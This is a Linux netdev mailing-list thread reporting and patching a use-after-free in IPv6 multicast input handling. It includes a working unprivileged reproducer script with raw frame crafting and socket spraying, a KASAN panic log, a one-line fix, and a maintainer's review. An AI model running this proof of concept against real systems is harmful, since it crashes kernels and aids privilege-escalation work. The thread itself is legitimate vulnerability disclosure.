* [PATCH net 0/1] ipv6: orphan prefetched skb before ip6_mr_input
@ 2026-08-03 2:47 Zhiling Zou
2026-08-03 2:47 ` [PATCH net 1/1] " Zhiling Zou
0 siblings, 1 reply; 3+ messages in thread
From: Zhiling Zou @ 2026-08-03 2:47 UTC (permalink / raw)
To: netdev
Cc: dsahern, idosch, davem, edumazet, kuba, pabeni, horms, ast, kafai,
joe, vega, zhilinz
Hi Linux kernel maintainers,
We found and validated a issue in net/ipv6/ip6_input.c. The bug is
reachable by a non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
ip6_rcv_core() preserves skb->sk when UDPv6 early demux installs a
prefetched socket together with the sock_pfree destructor. In
ip6_mc_input(), the multicast forwarding path takes the original skb in
the deliver == false branch and passes it into ip6_mr_input() instead
of cloning or orphaning it first.
That original skb can then be queued in the unresolved multicast route
queue. Once the receive-side RCU section ends, userspace can close the
matched UDP socket before unresolved queue cleanup runs. When the queued
skb is later freed during ip6mr_destroy_unres(), sock_pfree()
dereferences the stale skb->sk and triggers the use-after-free.
Reproducer:
chmod +x ~/poc.sh
unshare -Urn -- bash -lc ~/poc.sh
We run the PoC in an x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/bash
set -euo pipefail
GROUP_ADDR="${GROUP_ADDR:-ff0e::123}"
SRC_ADDR="${SRC_ADDR:-2001:db8:1::2}"
DST_ADDR="${DST_ADDR:-2001:db8:1::1}"
SPORT="${SPORT:-31337}"
DPORT="${DPORT:-42424}"
IF_RX="${IF_RX:-v0}"
IF_TX="${IF_TX:-v1}"
COUNT="${COUNT:-1}"
cleanup() {
ip link del "$IF_RX" 2>/dev/null || true
}
trap cleanup EXIT
ip link del "$IF_RX" 2>/dev/null || true
ip link add "$IF_RX" type veth peer name "$IF_TX"
ip link set lo up
ip link set "$IF_RX" up
ip link set "$IF_TX" up
ip -6 addr add "${DST_ADDR}/64" dev "$IF_RX" nodad
ip -6 addr add "${SRC_ADDR}/64" dev "$IF_TX" nodad
export GROUP_ADDR SRC_ADDR DST_ADDR SPORT DPORT IF_RX IF_TX COUNT
python3 - <<'PY'
import fcntl
import ipaddress
import os
import socket
import struct
import sys
import time
SIOCGIFHWADDR = 0x8927
SOL_IPV6 = socket.IPPROTO_IPV6
MRT6_INIT = 200
MRT6_ADD_MIF = 202
GROUP = os.environ["GROUP_ADDR"]
SRC_ADDR = os.environ["SRC_ADDR"]
DST_ADDR = os.environ["DST_ADDR"]
SPORT = int(os.environ["SPORT"])
DPORT = int(os.environ["DPORT"])
IF_RX = os.environ["IF_RX"]
IF_TX = os.environ["IF_TX"]
COUNT = int(os.environ["COUNT"])
def get_hwaddr(ifname: str) -> bytes:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
ifreq = struct.pack("256s", ifname.encode())
res = fcntl.ioctl(s.fileno(), SIOCGIFHWADDR, ifreq)
return res[18:24]
finally:
s.close()
def csum(data: bytes) -> int:
if len(data) & 1:
data += b"\x00"
total = 0
for i in range(0, len(data), 2):
total += (data[i] << 8) + data[i + 1]
while total >> 16:
total = (total & 0xFFFF) + (total >> 16)
return (~total) & 0xFFFF
def udp6_checksum(src: bytes, dst: bytes, udp: bytes, payload: bytes) -> int:
pseudo = src + dst + struct.pack("!I3xB", len(udp) + len(payload), socket.IPPROTO_UDP)
return csum(pseudo + udp + payload)
rx_mac = get_hwaddr(IF_RX)
tx_mac = get_hwaddr(IF_TX)
tx_ifindex = socket.if_nametoindex(IF_TX)
rx_ifindex = socket.if_nametoindex(IF_RX)
src_ip = ipaddress.IPv6Address(SRC_ADDR).packed
group_ip = ipaddress.IPv6Address(GROUP).packed
print(f"[+] {IF_RX} ifindex={rx_ifindex} mac={rx_mac.hex(':')}")
print(f"[+] {IF_TX} ifindex={tx_ifindex} mac={tx_mac.hex(':')}")
mroute = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6)
mroute.settimeout(1.0)
mroute.setsockopt(SOL_IPV6, MRT6_INIT, struct.pack("@I", 1))
mif = struct.pack("@HBBHI", 0, 0, 1, rx_ifindex, 0)
mroute.setsockopt(SOL_IPV6, MRT6_ADD_MIF, mif)
print("[+] Enabled IPv6 multicast routing and added ingress MIF")
udp = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM, 0)
udp.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, IF_RX.encode() + b"\x00")
udp.bind((GROUP, DPORT, 0, 0))
udp.connect((SRC_ADDR, SPORT, 0, 0))
print("[+] Bound UDP socket to multicast group and connected it to the sender")
payload = b"UAF!"
udp_len = 8 + len(payload)
udp_hdr = struct.pack("!HHHH", SPORT, DPORT, udp_len, 0)
udp_sum = udp6_checksum(src_ip, group_ip, udp_hdr, payload)
udp_hdr = struct.pack("!HHHH", SPORT, DPORT, udp_len, udp_sum)
ipv6_hdr = struct.pack("!IHBB16s16s", (6 << 28), udp_len, socket.IPPROTO_UDP, 64, src_ip, group_ip)
eth_hdr = rx_mac + tx_mac + struct.pack("!H", 0x86DD)
frame = eth_hdr + ipv6_hdr + udp_hdr + payload
pkt = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x86DD))
pkt.bind((IF_TX, 0))
for i in range(COUNT):
pkt.send(frame)
print(f"[+] Sent crafted frame {i + 1}/{COUNT}")
time.sleep(0.05)
try:
report = mroute.recv(4096)
print(f"[+] Received multicast-routing report ({len(report)} bytes)")
except TimeoutError:
print("[-] Did not receive multicast-routing report before timeout", file=sys.stderr)
udp.close()
print("[+] Closed matched UDP socket; forcing a short grace-period window before mroute cleanup")
for _ in range(16):
spray = []
for _ in range(64):
spray.append(socket.socket(socket.AF_INET6, socket.SOCK_DGRAM, 0))
for s in spray:
s.close()
time.sleep(1)
print("[+] Closing the mroute socket to flush the unresolved queue")
mroute.close()
time.sleep(1)
print("[-] No crash observed after mroute cleanup")
PY
------END poc.sh--------
----BEGIN crash log----
[ 233.980031][T10483] page_owner tracks the page as allocated
[ 233.980997][T10483] page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 10250, tgid 10250 (sshd-auth), ts 133770429918, free_ts 133706329619
[ 233.984140][T10483] page last free pid 10250 tgid 10250 stack trace:
[ 233.985380][T10483] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[ 233.986371][T10483] CPU: 1 UID: 1028 PID: 10483 Comm: python3 Not tainted 6.12.95 #2
[ 233.987459][T10483] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 233.989090][T10483] Call Trace:
[ 233.989583][T10483] <TASK>
[ 233.989996][T10483] panic (build/../kernel/panic.c:108)
[ 233.990555][T10483] ? __pfx_panic (build/../kernel/panic.c:740)
[ 233.991198][T10483] ? rcu_is_watching (build/../include/linux/context_tracking.h:128 (discriminator 1) build/../kernel/rcu/tree.c:752 (discriminator 1))
[ 233.991902][T10483] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
[ 233.992689][T10483] ? __pfx_lock_release (build/../kernel/locking/lockdep.c:238 (discriminator 9))
[ 233.993399][T10483] ? mark_held_locks (build/../kernel/locking/lockdep.c:4364 (discriminator 1))
[ 233.994058][T10483] ? sock_pfree (build/../net/core/sock.c:3919)
[ 233.994697][T10483] check_panic_on_warn (build/../kernel/panic.c:527 (discriminator 1))
[ 233.995387][T10483] end_report (build/../include/linux/srcu.h:634 build/../include/trace/events/error_report.h:69 build/../include/trace/events/error_report.h:69 build/../mm/kasan/report.c:222)
[ 233.995994][T10483] kasan_report (build/../mm/kasan/report.c:597)
[ 233.996621][T10483] ? sock_pfree (build/../net/core/sock.c:3919)
[ 233.997277][T10483] sock_pfree (build/../net/core/sock.c:3919)
[ 233.997878][T10483] skb_release_head_state (build/../net/core/skbuff.c:1164)
[ 233.998614][T10483] sk_skb_reason_drop (build/../include/linux/refcount.h:395 build/../include/linux/refcount.h:432 build/../include/linux/refcount.h:450 build/../include/linux/skbuff.h:1292 build/../net/core/skbuff.c:1212 build/../net/core/skbuff.c:1240)
[ 233.999304][T10483] ip6mr_destroy_unres (build/../net/ipv6/ip6mr.c:783 build/../net/ipv6/ip6mr.c:810)
[ 234.000008][T10483] mroute_clean_tables (build/../include/linux/instrumented.h:112 build/../include/asm-generic/bitops/instrumented-lock.h:57 build/../include/linux/bit_spinlock.h:40 build/../include/linux/rhashtable.h:328 build/../include/linux/rhashtable.h:1063 build/../include/linux/rhashtable.h:1144 build/../include/linux/rhashtable.h:1195 build/../net/ipv4/ipmr.c:1344)
[ 234.000780][T10483] ? __pfx_mroute_clean_tables (build/../net/ipv4/ipmr.c:3147)
[ 234.001562][T10483] ? do_raw_spin_lock (build/../arch/x86/include/asm/atomic.h:107 (discriminator 4) build/../include/linux/atomic/atomic-arch-fallback.h:2170 (discriminator 4) build/../include/linux/atomic/atomic-instrumented.h:1302 (discriminator 4) build/../include/asm-generic/qspinlock.h:111 (discriminator 4) build/../kernel/locking/spinlock_debug.c:116 (discriminator 4))
[ 234.002275][T10483] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
[ 234.003037][T10483] ? nlmsg_notify (build/../include/net/netlink.h:1163 build/../include/net/netlink.h:1184 build/../net/netlink/af_netlink.c:2593)
[ 234.003689][T10483] ip6mr_sk_done (build/../net/ipv6/ip6mr.c:1627 (discriminator 7))
[ 234.004359][T10483] rawv6_close (build/../net/ipv6/raw.c:1163)
[ 234.004949][T10483] inet_release (build/../net/ipv4/af_inet.c:443)
[ 234.005587][T10483] __sock_release (build/../net/socket.c:722)
[ 234.006239][T10483] sock_close (build/../net/socket.c:1514 (discriminator 1))
[ 234.006828][T10483] __fput (build/../fs/file_table.c:505)
[ 234.007408][T10483] __x64_sys_close (build/../fs/open.c:1501 (discriminator 1) build/../fs/open.c:1492 (discriminator 1) build/../fs/open.c:1492 (discriminator 1))
[ 234.008100][T10483] do_syscall_64 (build/../include/linux/entry-common.h:109 (discriminator 2) build/../include/linux/entry-common.h:147 (discriminator 2) build/../include/linux/entry-common.h:178 (discriminator 2) build/../arch/x86/entry/syscall_64.c:89 (discriminator 2))
[ 234.008743][T10483] entry_SYSCALL_64_after_hwframe (build/../arch/x86/entry/entry_64.S:121)
[ 234.009574][T10483] RIP: 0033:0x7f2cf3098687
[ 234.010187][T10483] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
All code
========
0: 48 89 fa mov %rdi,%rdx
3: 4c 89 df mov %r11,%rdi
6: e8 58 b3 00 00 call 0xb363
b: 8b 93 08 03 00 00 mov 0x308(%rbx),%edx
11: 59 pop %rcx
12: 5e pop %rsi
13: 48 83 f8 fc cmp $0xfffffffffffffffc,%rax
17: 74 1a je 0x33
19: 5b pop %rbx
1a: c3 ret
1b: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
22: 00
23: 48 8b 44 24 10 mov 0x10(%rsp),%rax
28: 0f 05 syscall
2a:* 5b pop %rbx <-- trapping instruction
2b: c3 ret
2c: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
33: 83 e2 39 and $0x39,%edx
36: 83 fa 08 cmp $0x8,%edx
39: 75 de jne 0x19
3b: e8 23 ff ff ff call 0xffffffffffffff63
Code starting with the faulting instruction
===========================================
0: 5b pop %rbx
1: c3 ret
2: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
9: 83 e2 39 and $0x39,%edx
c: 83 fa 08 cmp $0x8,%edx
f: 75 de jne 0xffffffffffffffef
11: e8 23 ff ff ff call 0xffffffffffffff39
[ 234.013809][T10483] RSP: 002b:00007ffc31527620 EFLAGS: 00000202 ORIG_RAX: 0000000000000003
[ 234.015292][T10483] RAX: ffffffffffffffda RBX: 00007f2cf3004780 RCX: 00007f2cf3098687
[ 234.016667][T10483] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000003
[ 234.018064][T10483] RBP: 0000000000000003 R08: 0000000000000000 R09: 0000000000000000
[ 234.019365][T10483] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000a83590
[ 234.020465][T10483] R13: 00007f2cf3340180 R14: 0000000000000000 R15: 00007f2cf3340188
[ 234.021975][T10483] </TASK>
[ 234.022699][T10483] Kernel Offset: disabled
[ 234.023317][T10483] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
ipv6: orphan prefetched skb before ip6_mr_input
net/ipv6/ip6_input.c | 1 +
1 file changed, 1 insertion(+)
--
2.43.0
^ permalink raw reply [flat|nested] 3+ messages in thread* [PATCH net 1/1] ipv6: orphan prefetched skb before ip6_mr_input
2026-08-03 2:47 [PATCH net 0/1] ipv6: orphan prefetched skb before ip6_mr_input Zhiling Zou
@ 2026-08-03 2:47 ` Zhiling Zou
2026-08-05 11:40 ` Ido Schimmel
0 siblings, 1 reply; 3+ messages in thread
From: Zhiling Zou @ 2026-08-03 2:47 UTC (permalink / raw)
To: netdev
Cc: dsahern, idosch, davem, edumazet, kuba, pabeni, horms, ast, kafai,
joe, vega, zhilinz
ip6_rcv_core() keeps skb->sk alive when it was installed by early
demux with sock_pfree so later receive-side code can use the prefetched
socket under RCU. ip6_mc_input() breaks that assumption in the
deliver == false path by handing the original skb to ip6_mr_input(),
which can queue or forward it after the receive-side RCU section ends.
A UDPv6 early-demuxed multicast packet that is not locally deliverable
but still enters multicast forwarding can therefore carry a dangling
socket pointer into unresolved mroute cleanup and later hit
sock_pfree() after the matched socket has already been destroyed.
Orphan the original skb before giving it to ip6_mr_input() when there
is no local delivery. The deliver == true path already uses
skb_clone(), which clears skb->sk and the destructor state.
Fixes: cf7fbe660f2d ("bpf: Add socket assign support")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
net/ipv6/ip6_input.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/net/ipv6/ip6_input.c b/net/ipv6/ip6_input.c
index 8972863c93ee5..d332ec60f9150 100644
--- a/net/ipv6/ip6_input.c
+++ b/net/ipv6/ip6_input.c
@@ -622,6 +622,7 @@ int ip6_mc_input(struct sk_buff *skb)
if (deliver) {
skb2 = skb_clone(skb, GFP_ATOMIC);
} else {
+ skb_orphan(skb);
skb2 = skb;
skb = NULL;
}
--
2.43.0
^ permalink raw reply related [flat|nested] 3+ messages in thread* Re: [PATCH net 1/1] ipv6: orphan prefetched skb before ip6_mr_input
2026-08-03 2:47 ` [PATCH net 1/1] " Zhiling Zou
@ 2026-08-05 11:40 ` Ido Schimmel
0 siblings, 0 replies; 3+ messages in thread
From: Ido Schimmel @ 2026-08-05 11:40 UTC (permalink / raw)
To: Zhiling Zou
Cc: netdev, dsahern, davem, edumazet, kuba, pabeni, horms, ast, kafai,
joe, vega
On Mon, Aug 03, 2026 at 10:47:10AM +0800, Zhiling Zou wrote:
> ip6_rcv_core() keeps skb->sk alive when it was installed by early
> demux with sock_pfree so later receive-side code can use the prefetched
> socket under RCU. ip6_mc_input() breaks that assumption in the
> deliver == false path by handing the original skb to ip6_mr_input(),
> which can queue or forward it after the receive-side RCU section ends.
I don't understand the part about ip6_rcv_core(). Early demux happens
only later, in ip6_rcv_finish_core().
>
> A UDPv6 early-demuxed multicast packet that is not locally deliverable
> but still enters multicast forwarding can therefore carry a dangling
> socket pointer into unresolved mroute cleanup and later hit
> sock_pfree() after the matched socket has already been destroyed.
It's unclear how an IP multicast packet gets into UDP early demux which
checks for PACKET_HOST. The commit message should mention that the
reproducer sends a packet with a unicast destination MAC and a multicast
IP:
rx_mac = get_hwaddr(IF_RX)
tx_mac = get_hwaddr(IF_TX)
[...]
src_ip = ipaddress.IPv6Address(SRC_ADDR).packed
group_ip = ipaddress.IPv6Address(GROUP).packed
[...]
ipv6_hdr = struct.pack("!IHBB16s16s", (6 << 28), udp_len, socket.IPPROTO_UDP, 64, src_ip, group_ip)
eth_hdr = rx_mac + tx_mac + struct.pack("!H", 0x86DD)
frame = eth_hdr + ipv6_hdr + udp_hdr + payload
>
> Orphan the original skb before giving it to ip6_mr_input() when there
> is no local delivery. The deliver == true path already uses
> skb_clone(), which clears skb->sk and the destructor state.
>
> Fixes: cf7fbe660f2d ("bpf: Add socket assign support")
The reproducer doesn't use BPF at all. I think it only triggers the
problem after commit 08842c43d016 ("udp: no longer touch sk->sk_refcnt
in early demux"). So, blame both, but mention that the problem can also
be triggered in the bpf_sk_assign() path.
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
More feedback from Sashiko:
https://sashiko.dev/#/patchset/02db4590d0161e31a789dcdfa8d1be1a3212ec2e.1785724784.git.zhilinz%40nebusec.ai
https://netdev-ai.bots.linux.dev/sashiko/#/patchset/02db4590d0161e31a789dcdfa8d1be1a3212ec2e.1785724784.git.zhilinz%40nebusec.ai
I couldn't get myself to read all of it, but it does seem like IPv4
suffers from the same problem.
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-08-05 11:40 UTC | newest]
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2026-08-03 2:47 [PATCH net 0/1] ipv6: orphan prefetched skb before ip6_mr_input Zhiling Zou
2026-08-03 2:47 ` [PATCH net 1/1] " Zhiling Zou
2026-08-05 11:40 ` Ido Schimmel
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